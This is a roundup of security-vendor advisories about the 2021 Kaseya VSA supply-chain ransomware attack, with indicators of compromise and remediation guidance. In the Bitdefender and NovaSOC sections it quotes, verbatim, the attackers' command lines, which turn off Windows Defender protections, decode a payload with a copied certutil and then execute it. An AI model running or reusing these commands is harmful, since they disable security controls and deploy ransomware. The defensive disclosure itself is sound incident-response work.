Pax8 Security Vendor Updates - Kaseya Supply Chain Attack

Pax8 and its security vendors have been monitoring the developments in the Kaseya Supply Chain Attack since it was announced late last week. Below are communications from Kaseya, Bitdefender, Proofpoint, SentinelOne, NovaSOC, Liongard, Wasabi, and IBM, advising their partners and customers on the situation and actions they should take.

We will continue to provide these updates as they are issued.

Kaseya Online Advisories

Kaseya is issuing regular updates for its users on its VSA Incident Security page. Check back often to see the latest developments.

Bitdefender

BitDefender online advisory, July 2:

We are actively monitoring and analyzing an active attack using Kaseya Software to deploy a variant of REvil ransomware into a victim's environment. The attack targeted Kaseya's managed service provider (MSP) customers, which often provide IT support to small- to medium-size businesses. By targeting MSPs, attackers also seek to access and infiltrate the MSP's customers computer networks.

Guidance for Bitdefender Customers

- Kaseya issued an advisory and has urged their customers to immediately shut down on-premises VSA servers. We recommend that any Kaseya VSA users follow this guidance immediately.
- Check on-premises and hybrid environments for known indicators of compromise (IoCs) - list of IoCs is below.
- The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has issued an alert stating that they are monitoring details about the attack against Kaseya VSA and the multiple MSPs that use VSA software. We recommend organizations follow the CISA alert for future updates.

We are continuing to investigate, monitor and assess any customer impact, and will develop further guidance as appropriate, including how Bitdefender customers can protect or mitigate impacts to affected systems. Our Labs team findings to date indicate Bitdefender solutions detect and block a command line action and delivered payloads used in the attack, thus, protecting customers from this step in the attack. If you are a Kaseya user and believe that you are impacted, please contact us at: gzn-gs@bitdefender.com

As this is an evolving situation, we will update this post with additional information as it becomes available.

Verified Indicators of Compromise

1. Command line executed from Kaseya agent:

C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 -n 5825 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe

and

C:\WINDOWS\system32\cmd.exe /c ping 127.0.0.1 -n 3637 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\WaRCoMWorking\agent.crt c:\WaRCoMWorking\agent.exe & del /q /f c:\WaRCoMWorking\agent.crt C:\Windows\cert.exe & c:\WaRCoMWorking\agent.exe

2. Hashes:

- 561cffbaba71a6e8cc1cdceda990ead4, detected by Bitdefender with Gen:Variant.Graftor.952042 from 15.May.2021. This is the main executable (c:\kworking\agent.exe) that is being decoded using certutil.exe
- a47cf00aedf769d60d58bfe00c0b5421, detected by Bitdefender with Gen:Variant.Bulz.471680 from 13.May.2021. This is a DLL that is being dropped by the main executable and side loaded using a MS msmpeng.exe executable.
- 0293a5d21081a94a5589976b407f5675 – the hash for agent.crt (the content of agent.exe before decryption).

3. File paths:

- c:\WaRCoMWorking\agent.crt
- c:\\WaRCoMWorking\agent.exe
- c:\kworking\agent.exe
- c:\kworking\agent.crt
- c:\windows\msmpeng.exe (an older version that is vulnerable for DLL side loading). This version is being dropped by the main executable and further used to load the DLL (a47cf00aedf769d60d58bfe00c0b5421). File version: MsMpEng.exe, Microsoft Malware Protection, 4.5.0218.0

Proofpoint email, July 5:

Kaseya contacted their customers by e-mail on July 2nd to advise them to shut down all on-premises instances of VSA as that had detected a potential attack on their infrastructure. Kaseya subsequently confirmed on July 3rd that they had been the victim of a sophisticated cyber-attack.

Proofpoint has a limited number of Kaseya servers supporting non-production environments. We shut these servers down as requested on July 2nd, and they remain shut down pending further information from Kaseya.

Proofpoint has review all know indicators of Compromise and at this point has not seen any evidence that we have been impacted by the attack.

Our Security team continues to monitor all communications from Kaseya, OSA, and the FBI and will act on any additional information or guidance provided.

SentinelOne email, July 3:

Yesterday, we shared an urgent update regarding a supply chain attack that used Kaseya remote IT management software to target organizations. Since our update, SentinelOne's Vigilance MDR and support teams have worked tirelessly to ensure the integrity of our customer's networks. **SentinelOne protects against the Kaseya attack.**

We know that these are uncertain times for security teams across the world, and we wanted to keep you informed:

SentinelOne agents protect from this supply chain attack. To show you how we protect and to make it easier for you to share within your organization, we created a video demonstrating SentinelOne against the Kaseya attack. The video is a demonstration using a Windows 10 device with the latest 21.5 agent version installed. All supported versions prevent this attack as well.

Ongoing Monitoring & Management. Our teams will continue to hunt and search for any indications of this attack 24/7/365. We're also working to ensure no exclusions were set that could allow the attack to occur. SentinelOne will reach out to you proactively as needed with updates.

SentinelOne email, July 2:

As a proactive security measure, if you have any of the below paths added to your Exclusion lists, we will be removing them.

\Device\HarddiskVolume?\ProgramData\Kaseya\
\Device\HarddiskVolume?\Program Files (x86)\Kaseya\
\Device\HarddiskVolume?\Program Files\Kaseya\
\Device\HarddiskVolume?\Windows\Temp\Kaseya\
\Device\HarddiskVolume?\Windows\MsMpEng.exe
\Device\HarddiskVolume?\kworking\

Certs:
KASEYA DEVELOPMENT, LLC
KASEYA CORPORATION
PB03 TRANSPORT LTD.

Sha1:
9ca2488a630e42800d8def0575eae5ed8d266eab (AgentMon.exe - the root process)

NovaSOC online advisory, July 2

Kaseya VSA - Urgent Shutdown Needed

Novacoast has become aware of a rumored supply chain attack infecting some Kaseya VSA users with REvil ransomware. Kaseya is recommending VSA servers be shutdown immediately. They have not indicated their cloud/SaaS solutions are definitively impacted but those servers appear to be down for maintenance at this time, likely to preserve the environment during their in-house investigation. At least 8 victims have been identified so far (credit to Huntress Labs).

This attack appears to be writing a signed encryptor file to the following location, with the VSA procedure name of "Kaseya VSA Agent Hot-fix"
c:kworkingagent.exe

Some researchers are noting tasks running with the following code (shown as image):

```
"C:\WINDOWS\system32\cmd.exe" /c ping 127.0.0.1 -n 4979 > nul & C:\Windows\System32\
WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -
DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -
EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -
MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y
C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe
& C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f
c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe
```

The following files are then written to into C:\Windows:

- MsMpEng.exe (masquerading as Windows Defender)

- mpsvc.dll

Kaseya publicly announced they were experiencing an incident. The delivered/intended ransomware appears to be REvil (based on ransom note and Tor node analysis) – a group that recently announced they were going to double down on targeting US victims and have no qualms about attacking critical infrastructure.

References:
https://www.speartip.com/resources/kaseya-vsa-users-under-ransomware-attack/
https://helpdesk.kaseya.com/hc/en-gb/articles/440344068468
https://www.reddit.com/r/msp/comments/ocggbv/crticial_ransomware_incident_in_progress/

Liongard Incident Response

"In response to this incident, we quickly identified a handful of Partners with Kaseya VSA servers that appeared to still be active. We notified them of our findings and recommended that any VSA servers be taken offline. We also reached out to all of our partners with a link to this FAQs page as a helpful resource."

Liongard's most up-to-date research and responses to the Kaseya VSA security incident can be found on this Incident Response blog.

Wasabi Statement on Incident

"Wasabi is aware of the recent security issue associated with the Kaseya platform. We wish to inform our customers and partners that Wasabi has not previously and does not currently use the Kaseya platform in any form in our service operations. For additional questions regarding Wasabi and security topics, please contact us at security@wasabi.com."

IBM Statement on Incident

Summary
A ransomware attack against a major IT firm has crippled operations globally for businesses that use the company. A statement from the firm states the attack has been limited to on-premise customers only.

Threat Type
- Ransomware

Overview

On July 2, 2021, a ransomware attack against IT firm Kaseya, was reported. The company serves more than 40,000 customers via its Virtual System Administrator (VSA) software. The company immediately shut down its SaaS servers and contacted on-premises customers to shut down their VSA servers. The company notified law enforcement and cybersecurity agencies including the FBI and CISA. The cloud-based Managed Service Provider (MSP) is used to perform patch management, backups, and client monitoring. The company has stated that SaaS customers have not been affected. Only about 60 companies employ the Kaseya on-premises VSA server though the company states more than 1,000 companies were affected due to the downstream effect. Kaseya deployed a Compromise Detection Tool on July 3, 2021 to about 900 customers that requested it. As of July 7, 2021, the plan to re-deploy the VSA SaaS was stopped due to an issue that prevented a safe restoration. The Kaseya R&D team are working to resolve the issue and restore service. It is of importance that all instances of on-premises VSA servers be shut down as one of the first steps the attackers take is to kill administrative access to the VSA. This attack has been attributed to REvil ransomware as analysis has shown definitive characteristics of the ransomware. The attackers have demanded a $70 million ransom for the purchase of a decryptor. IBM X-Force Incident Command will provide more details here as we receive them.

Indicators of Compromise

- A complete list of IoCs can be found in the Reports section to the right.

Recommendations

- Immediately shut down any on-premises VSA servers and they should remain offline until Kaseya has been able to deploy a corrective patch.
- Do not click links from any source claiming to be from the perpetrators of this attack.
- Deploy the Compromise Detection Tool (found here).

References

- https://helpdesk.kaseya.com/hc/en-gb/articles/4403440684689-Important-Notice-July-2nd-2021
- https://www.zscaler.com/blogs/security-research/kaseya-supply-chain-ransomware-attack-technical-analysis-revil-payload
- https://kaseya.box.com/s/p9b712dcwfsnhuq2jmx31ibsuef6xict
- https://securityintelligence.com/posts/revil-ransomware-kaseya-supply-chain-attack
- https://www.zdnet.com/article/kaseya-urges-customers-to-immediately-shut-down-vsa-servers-after-ransomware-attack/
- https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/
- https://www.wsj.com/articles/ransomware-hackers-demand-70-million-to-unlock-computer-in-widespread-attack-11625524076